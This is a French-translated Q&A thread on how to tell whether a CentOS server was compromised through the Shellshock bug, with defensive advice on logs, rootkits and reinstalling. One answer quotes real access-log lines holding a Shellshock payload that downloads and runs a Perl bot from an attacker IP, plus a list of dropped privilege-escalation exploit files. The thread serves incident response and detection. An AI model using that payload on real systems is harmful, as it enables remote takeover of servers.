Shellshock: Comment savoir si mon serveur est compromis + fichiers suspects à rechercher


18

Trois questions auxquelles j'espère que quelqu'un pourra répondre:

  1. Comment savoir si mon serveur est déjà compromis en raison du bogue Shellshock?
  2. S'il a été compromis, y a-t-il un dossier particulier où je devrais rechercher les fichiers malveillants?
  3. À quoi ressemble un fichier malveillant?

J'utilise CentOS 6, pile LEMP

Réponses:


36

Comment savoir si mon serveur est déjà compromis en raison du bogue Shellshock?

Non. C'est l'idée d'une vulnérabilité de sécurité. Si vous deviez cliquer sur Laissez entrer les crackers? OK / Annuler ce ne serait pas vraiment une vulnérabilité.

Vous aurez peut-être de la chance de vérifier les journaux de vos vecteurs d'attaque, mais étant donné que de nombreux services sont vulnérables et qu'ils ne consignent pas tous à chaque accès, il n'est probablement pas possible de trouver de manière concluante une attaque.

S'il a été compromis, y a-t-il un dossier particulier où je devrais rechercher les fichiers malveillants?

Non, un fichier malveillant pourrait se trouver n'importe où.

Les rootkits communs s'installent dans /rootou /ou /tmpou l'un des chemins binaires, mais ils pourraient vraiment être n'importe où. Ils peuvent avoir un nom similaire à un vrai service ou quelque chose d '"important" ressemblant à " IPTables" ou " kernel-bin" mais ils peuvent aussi être des chaînes de caractères aléatoires ou le même nom qu'un véritable binaire (juste dans un chemin différent). Vous pouvez repérer un rootkit vraiment évident qui se charge /etc/rc.localou établit des connexions via netstat -neopa. Recherchez les noms de processus suspects dans top -c.

Un rootkit moins courant et beaucoup plus difficile à trouver remplace une bibliothèque ou se charge lui-même en tant que bibliothèque shim et intercepte les appels système. Ceci est presque impossible à trouver à moins que vous ne stracez / ltracez chaque élément en cours d'exécution sur votre système et que vous compariez le comportement avec le comportement attendu d'un système ou d'un code source connu.

Il serait plus rapide, plus facile et plus concluant de simplement recharger le système.

À quoi ressemble un fichier malveillant?

Probablement comme tout autre binaire ou bibliothèque ELF classique. Il peut également s'agir d'un script.

En conclusion, si vous pensez qu'il y a une possibilité que votre système ait été compromis, traitez-le comme s'il avait été compromis et prenez les mesures nécessaires.


14
+1 "Laissez entrer les crackers?" Sur une autre note ... si vous voyez quelque chose nommé "IPTables" sur Linux, soyez très méfiant. UNIXian est CapsPhobic.
évêque

si vous pensez qu'il est possible que votre système ait été compromis, traitez-le comme s'il avait été compromis et prenez les mesures nécessaires. Cela signifie tous les systèmes possibles qui ont été bashinstallés et un câble réseau branché, non?
Federico Poloni

@FedericoPoloni Uniquement si quelqu'un peut accéder à votre shell via le réseau. Mais sinon, vous avez absolument raison.
scai

@FedericoPoloni Je ne sais pas si c'est un choix judicieux, car je devrais constamment avoir tous les systèmes hors service, car je ne peux jamais être sûr à 100% qu'ils n'ont pas été compromis, et sérieusement personne ne peut être sûr que leurs systèmes n'ont pas été compromis à moins que ils sont un idi * t très optimiste. Si vous pensez que votre système ne se comporte pas comme il le devrait, vous devez l'examiner ainsi que son trafic réseau, de préférence depuis A CLEAN OS. Si vous ne trouvez aucune preuve d'altération, vous n'avez pas à prendre de mesures en plus de réparer les trous. Sinon, nous aurions à réinstaller constamment TOUS les systèmes 24x7!
Frank Waller du

@FrankWaller Je suis entièrement d'accord. Il y a toujours une possibilité à distance qu'un système ait été compromis et l'attaquant est suffisamment qualifié pour ne laisser aucune trace, mais nous ne pouvons pas réinstaller 24x7 pour répondre à ce cas.
Federico Poloni du

21

shellshock n'est pas un ver donc il n'y a pas de fichiers à rechercher. Shellshock est un moyen d'attaquer un réseau pour y entrer. Une fois à l'intérieur, qui sait ce que fera l'attaquant.


3
Cette réponse me semble un peu confuse - peut-être a-t-elle été précipitée, ou devrait-elle être un commentaire plutôt qu'une réponse. Bien sûr, ce n'est pas un ver (c'est une vulnérabilité, pas un logiciel malveillant), mais il n'est pas clair pourquoi vous pensez que c'est pertinent ou pourquoi cela signifie "il n'y a pas de fichiers à rechercher". Shellshock n'est pas un moyen d'attaquer un réseau; c'est une façon de s'introduire dans une machine. C'est une attaque contre une machine, pas un réseau.
DW

2
@DW Accordé très succinct, mais clairement en réponse directe à l'inquiétude du PO is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

J'ai vu une tentative d'exploiter le bogue, qui installerait un bot IRC en tant que /var/tmp/x. Mais en général, il n'y a pas de fichiers particuliers à rechercher, car ils peuvent être n'importe où ou nulle part.

Si vous avez été compromis par le serveur Web, tout nouveau fichier ou processus appartenant à l'utilisateur du serveur Web serait suspect.

Dans le cas où un attaquant utilise d'abord le bashbogue pour entrer dans le système et ensuite une vulnérabilité locale à devenir root, il pourrait devenir presque impossible à repérer.

Regardez également cette question similaire .


+1 pour l'idée de propriété de l'utilisateur du serveur Web
Xan

4

Je voudrais faire écho à la réponse de suprjami et dire que si votre système est vulnérable, vous devez le traiter comme compromis.

Si vous exécutez apache, vous pouvez consulter les journaux des tentatives d'intrusion Shellshock avec la commande suivante:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Cette commande extrait toutes les lignes contenant "cgi" des journaux d'accès d'Apache (par défaut appelés access_log, access_log.1, access_log.2 etc.), puis les redirige vers egrep avec l'expression régulière.

(Source: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Notez que pour une configuration par défaut d'Apache, cela n'affichera que les attaques dans l'URL de destination et dans les en-têtes "User-Agent" et "Referer". Une attaque dans un en-tête comme "Cookie" ou "X-Ploit" ne sera pas enregistrée.
Mark

1
@Mark Absolument, j'aurais dû le mentionner.
Ralph

1
Bien sûr, la première chose que tout attaquant qui se respecte ferait serait d'effacer les indices de l'attaque des journaux… c'est pourquoi les journaux devraient être à écriture unique et distants!
Jörg W Mittag

4

Puisqu'il existe plusieurs vecteurs d'attaque pour Shellshock, certains d'entre eux étant encore inconnus du grand public ou causés par un script CGI personnalisé, il n'y a aucun moyen précis de savoir si vous êtes compromis ou non.

En plus de l'approche habituelle "voyons si certains fichiers système ont changé ou si quelque chose d'autre suspect s'est produit récemment", vous pouvez garder un œil sur le comportement de votre serveur.

  1. Y a-t-il soudainement beaucoup plus de trafic réseau?
  2. L'utilisation du processeur / de la mémoire a-t-elle beaucoup changé?
  3. Est-ce que quelque chose consomme de l'espace disque ou provoque plus d'E / S que d'habitude?
  4. Affiche netstatdes connexions réseau étranges ou des ps auxprocessus que vous ne reconnaissez pas?
  5. Votre serveur envoie-t-il soudainement beaucoup plus d'e-mails qu'auparavant?

Si vous disposez d'une surveillance appropriée de l'intégrité du serveur (telle que Zabbix), elle peut également vous aider à détecter les failles de sécurité. Vous pouvez également comparer les sommes MD5 / SHA des fichiers système à une bonne sauvegarde connue.

Agissez simplement comme votre serveur a été compromis et étudiez tout ce à quoi vous pouvez penser.


4

J'ai juste eu le plaisir de nettoyer un ancien système Plesk compromis. La première chose qui l'a révélé était de nombreux processus qui ont commencé à écouter un certain nombre de ports et d'autres essayant de télécharger du code à partir du serveur de numérisation d'origine.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Après les journaux, j'ai découvert que le trou ultime était le cgi_wrapperscript, quelque chose qui était censé protéger et protéger le système est ce qui a réellement déchiré le trou dans la protection. Voici quelques-unes des lignes de journal des sondes et de l'attaque réussie:

Ce sont les lignes du access_log, car ce n'est qu'un exemple, notez le 200 sur deux des lignes tandis que les autres échouent avec 404. Vous n'avez pas à vous soucier des lignes qui ont un 404 car elles n'ont pas réussi, ceux avec 200 l'ont fait cependant. Le schéma de ces attaques est toujours le même: 1. trouver un script cgi vulnérable utiliser un exploit shellshock pour télécharger et exécuter un script perl, supprimer à nouveau le script perl. Le script perl va en fait télécharger certains fichiers sources (tgz), les compiler et les exécuter, à partir de ce que j'ai vu, ils incluent au moins une porte dérobée et un mécanisme de mise à jour automatique, ainsi que ce qui ressemble à des exploits pour essayer d'obtenir des privilèges d'exécution élevés. Tous les scripts initiaux sont réellement exécutés en tant qu'utilisateur fourni par l'encapsuleur tandis que les services ultérieurs sont démarrés avec un PPID de 1 (démarré à partir du processus racine)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Et voici les lignes error_log correspondantes:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Fichiers téléchargés sur / tmp Comme on pourrait le deviner, je n'ai pas le fichier bot.pl car il est supprimé tout de suite.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Après un certain temps, j'ai remarqué des connexions ssh de divers endroits comme la Chine qui ne visitent généralement pas beaucoup notre serveur. J'ai corrigé bash comme mesure d'urgence (cela aurait été bien d'avoir des sources corrigées disponibles sur le site Web de la FSF et pas seulement les sources et les fichiers de correctifs vraiment anciens (dont l'un ne s'appliquait pas correctement au début). Le système est prévu pour une essuyez maintenant, donc si quelqu'un cherche autre chose à propos de l'attaque, vous pouvez demander, mais faites-le bientôt.


3

Cette réponse n'est pas spécialement liée à Shellshock mais pour tout système que vous pensez compromis

deuxième remarque: vous ne pouvez pas être sûr d'avoir récupéré d'un système compromis vers le système racine. Votre seule action est de détruire et de réapprovisionner le système

